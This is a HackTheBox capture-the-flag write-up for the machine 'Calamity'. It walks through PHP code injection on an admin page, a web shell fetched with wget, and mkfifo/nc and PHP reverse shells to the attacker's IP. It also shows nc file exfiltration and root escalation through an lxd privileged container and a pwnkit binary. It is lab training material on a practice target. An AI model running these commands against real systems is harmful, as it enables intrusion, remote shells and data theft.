HackTheBox Calamity
Writeup for HackTheBox Calamity
Machine Synopsis
Calamity, while not over challenging to an initial foothold on, is deceivingly difficult. The privilege escalation requires advanced memory exploitation, having to bypass many protections put in place. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -p- --min-rate 10000 10.10.10.27
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
❯ nmap -p 22,80 -sC -sV 10.10.10.27
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:46:31:9c:b5:71:c5:96:91:7d:e4:63:16:f9:59:a2 (RSA)
| 256 10:c4:09:b9:48:f1:8c:45:26:ca:f6:e1:c2:dc:36:b9 (ECDSA)
|_ 256 a8:bf:dd:c0:71:36:a8:2a:1b:ea:3f:ef:66:99:39:75 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Brotherhood Software
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Lets check out the website.
1
2
3
4
5
❯ dirsearch -u http://10.10.10.27
...
[12:17:30] 200 - 196B - /admin.php
[12:17:45] 301 - 312B - /uploads -> http://10.10.10.27/uploads/
[12:17:45] 200 - 402B - /uploads/
Here is the /admin.php
endpoint.
Trying admin:admin
didn’t work.
However, it looks like there is a password skoupidotenekes
commented in the HTTP response.
Trying admin:skoupidotenekes
worked and we are logged in.
Exploitation
Lets try to input a simple <h1>test</h1>
.
The server executed our html
code. What if we tried some php
code?
Nice it worked! Lets try to upload a reverse shell submitting the following input <?php system("wget http://10.10.16.23/shell.php -P uploads;"); ?>
1
2
3
4
5
6
❯ cat shell.php
<?php system($_GET["cmd"]); ?>
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.27 - - "GET /shell.php HTTP/1.1" 200 -
Then we can go to the /uploads
endpoint that we previously found to try our uploaded shell.
1
2
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Next, we can create a simple reverse shell payload to get a reverse shell connection.
1
2
3
4
5
6
❯ cat revshell.php
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|powershell -i 2>&1|nc 10.10.16.23 8888 >/tmp/f%
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then we can execute the following commands to download the revshell.php
into /tmp
directory and subsequently execute it with bash
.
1
2
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=wget+http://10.10.16.23/revshell.php+-P+/tmp'
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=bash+-f+/tmp/revshell.php'
The reverse shell connection was established but it immediately closed.
1
2
3
4
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 56656
/tmp/revshell.php: line 2: powershell: command not found
It seems like we may need a more sophisticated php
reverse shell. Lets grab a php
reverse shell from this GitHub repository.
We will be using the php_reverse_shell_older.php
as our payload.
1
2
3
4
5
6
7
8
9
❯ cat new_revshell.php
...
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.23', 8888);
$sh->run();
...
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Next, we can use the cmd
shell to download our new malicious php
file and store it in the /uploads
folder.
1
❯ curl 'http://10.10.10.27/uploads/shell.php?cmd=wget+http://10.10.16.23/new_revshell.php+-P+/var/www/html/uploads'
Navigate to http://10.10.10.27/uploads/
and execute the new_revshell.php
file to get the reverse shell connection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 56666
SOCKET: Shell has connected!
whoami
www-data
which python
/usr/bin/python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@calamity:/var/www/html/uploads/uploads$ cd /home
www-data@calamity:/home$ ls
xalvas
www-data@calamity:/home$ cd xalvas
www-data@calamity:/home/xalvas$ cat user.txt
1d42a0c77c7be4a291829384b264e1e4
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@calamity:/home/xalvas$ ls -la
total 3180
drwxr-xr-x 7 xalvas xalvas 4096 Jul 13 2022 .
drwxr-xr-x 3 root root 4096 Jul 13 2022 ..
lrwxrwxrwx 1 root root 9 Jul 13 2022 .bash_history -> /dev/null
-rw-r--r-- 1 xalvas xalvas 220 Jun 27 2017 .bash_logout
-rw-r--r-- 1 xalvas xalvas 3790 Jun 27 2017 .bashrc
drwx------ 2 xalvas xalvas 4096 Jul 13 2022 .cache
-rw-rw-r-- 1 xalvas xalvas 43 Jun 27 2017 .gdbinit
drwxrwxr-x 2 xalvas xalvas 4096 Jul 13 2022 .nano
-rw-r--r-- 1 xalvas xalvas 655 Jun 27 2017 .profile
-rw-r--r-- 1 xalvas xalvas 0 Jun 27 2017 .sudo_as_admin_successful
drwxr-xr-x 2 xalvas xalvas 4096 Jul 13 2022 alarmclocks
drwxr-x--- 2 root xalvas 4096 Jul 13 2022 app
-rw-r--r-- 1 root root 225 Jun 27 2017 dontforget.txt
-rw-r--r-- 1 root root 1424 Jul 13 2022 intrusions
drwxrwxr-x 4 xalvas xalvas 4096 Jul 13 2022 peda
-rw-r--r-- 1 xalvas xalvas 3196724 Jun 27 2017 recov.wav
-r--r--r-- 1 root root 33 Feb 8 22:54 user.txt
www-data@calamity:/home/xalvas$ cat dontforget.txt
peda keeps commads history in the working dir...you should make a dir in /tmp and work from there
keep in mind that tmp is not listable,so other users cannot see your files and folders (if you dont use extrmely simple names)
www-data@calamity:/home/xalvas$ ls -la /home/xalvas/alarmclocks
total 5716
drwxr-xr-x 2 xalvas xalvas 4096 Jul 13 2022 .
drwxr-xr-x 7 xalvas xalvas 4096 Jul 13 2022 ..
-rw-r--r-- 1 root root 3196668 Jun 27 2017 rick.wav
-rw-r--r-- 1 root root 2645839 Jun 27 2017 xouzouris.mp3
Lets transfer the suspicious audio files to our local machine.
We use nc
to transfer recov.wav
.
1
2
❯ nc -nlvp 9999 > recov.wav
listening on [any] 9999 ...
1
www-data@calamity:/home/xalvas$ nc 10.10.16.23 9999 < recov.wav
Since we don’t have permissions for rick.wav
and xouzouris.mp3
, we can use cat
+ base64
to transfer the files.
1
2
3
4
5
6
7
8
9
10
11
12
www-data@calamity:/home/xalvas$ cd /tmp
www-data@calamity:/tmp$ cat /home/xalvas/alarmclocks/rick.wav | base64 > rick.wav.b64
www-data@calamity:/tmp$ cat /home/xalvas/alarmclocks/xouzouris.mp3 | base64 > xouzouris.mp3.b64
www-data@calamity:/tmp$ nc 10.10.16.23 9999 < rick.wav.b64
www-data@calamity:/tmp$ nc 10.10.16.23 9999 < xouzouris.mp3.b64
www-data@calamity:/tmp$ md5sum /home/xalvas/alarmclocks/rick.wav
a69077504fc70a0bd5a0e9ed4982a6b7 /home/xalvas/alarmclocks/rick.wav
www-data@calamity:/tmp$ md5sum /home/xalvas/alarmclocks/xouzouris.mp3
553da35f2ea5e410f48762d6347ea5b8 /home/xalvas/alarmclocks/xouzouris.mp3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nc -nlvp 9999 > rick.wav.b64
listening on [any] 9999 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 37652
❯ cat rick.wav.b64 | base64 -d > rick.wav
❯ file rick.wav
rick.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
❯ md5sum rick.wav
a69077504fc70a0bd5a0e9ed4982a6b7 rick.wav
❯ nc -nlvp 9999 > xouzouris.mp3.b64
listening on [any] 9999 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.27] 37652
❯ cat xouzouris.mp3.b64 | base64 -d > xouzouris.mp3
❯ file xouzouris.mp3
xouzouris.mp3: Audio file with ID3 version 2.4.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo
❯ md5sum xouzouris.mp3
553da35f2ea5e410f48762d6347ea5b8 xouzouris.mp3
Interestingly rick.wav
and recov.wav
sounds exactly the same? Could there be some steganography
hidden?
Analyzing the audio files on Audacity reveals a password audio when you do the following.
Put the 2 audio files together and invert the recov.wav
audio.
Then copy both files and create another set side by side.
Once you play the music from around the 15s mark to the 22s mark, you can hear a voice saying Your password is 18547936..*
.
Lets try login into the SSH
service as xalvas
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ ssh xalvas@10.10.10.27
The authenticity of host '10.10.10.27 (10.10.10.27)' can't be established.
ED25519 key fingerprint is SHA256:XskWW+aD3rz9lTnpA5ijz4g8J5qT1gkDub+H8o4D0L8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.27' (ED25519) to the list of known hosts.
xalvas@10.10.10.27's password: 18547936..*
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
9 packages can be updated.
8 updates are security updates.
Last login: Fri Jun 30 08:27:25 2017 from 10.10.13.44
xalvas@calamity:~$ ls
alarmclocks app dontforget.txt intrusions peda recov.wav user.txt
xalvas@calamity:~$ cd app
xalvas@calamity:~/app$ ls
goodluck src.c
1
2
3
4
❯ scp 'xalvas@10.10.10.27:~/app/*' .
xalvas@10.10.10.27's password: 18547936..*
goodluck 100% 12KB 888.7KB/s 00:00
src.c 100% 3936 71.9KB/s 00:00
The intended way to solve this machine is through this goodluck
binary. However, I am terribly noob at pwning
and reverse engineering
so I will just solve by the unintended way.
1
2
3
4
xalvas@calamity:~/app$ id
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
xalvas@calamity:~/app$ uname -a
Linux calamity 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:15:00 UTC 2017 i686 athlon i686 GNU/Linux
We observe that xalvas
is in the lxd
group which is vulnerable to lxd privilege escalation
.
First, we need to create n alpine image with the correct architecture.
1
2
3
4
5
6
7
8
9
❯ git clone https://github.com/saghul/lxd-alpine-builder
❯ cd lxd-alpine-builder
❯ ./build-alpine --arch=i386
build-alpine: must be run as root
❯ sudo ./build-alpine --arch=i386
❯ ls
LICENSE README.md alpine-v3.13-x86_64-20210218_0139.tar.gz alpine-v3.21-i686-20250209_1617.tar.gz build-alpine
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Might face some problem creating the alpine image but refer to this to solve the issue.
Next, we transfer the alpine image over and configure the container on the target machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xalvas@calamity:/tmp$ wget http://10.10.16.23/alpine-v3.21-i686-20250209_1617.tar.gz -O alpine.tar.gz
xalvas@calamity:/tmp$ lxc image import alpine.tar.gz --alias=alpine
Image imported with fingerprint: 9b744faec7248e236450e012d70fd065f9d1243819a2ee6dbb8c40431c5c49b3
xalvas@calamity:/tmp$ lxc init alpine hehexd -c security.privileged=true
Creating hehexd
xalvas@calamity:/tmp$ lxc config device add hehexd somedisk disk source=/ path=/mnt/root recursive=true
Device somedisk added to hehexd
xalvas@calamity:/tmp$ lxc start hehexd
xalvas@calamity:/tmp$ lxc exec hehexd --mode=interactive /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root/root/
/mnt/root/root # cat root.txt
4022a3b452b4ef10ce37e1695c94ec33
Alternatively, we can exploit pwnkit
to get root
as well.
1
2
3
❯ wget https://github.com/c3c/CVE-2021-4034/releases/download/0.2/cve-2021-4034_i686 -O cve-2021-4034_i686
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
xalvas@calamity:/tmp$ wget http://10.10.16.23/cve-2021-4034_i686 -O pwnkit
xalvas@calamity:/tmp$ chmod +x pwnkit
xalvas@calamity:/tmp$ ./pwnkit
CVE-2021-4034 - crossbuild by @c3c
Acknowledgements: Qualys, blasty, berdav
Attempting to spawn root shell
#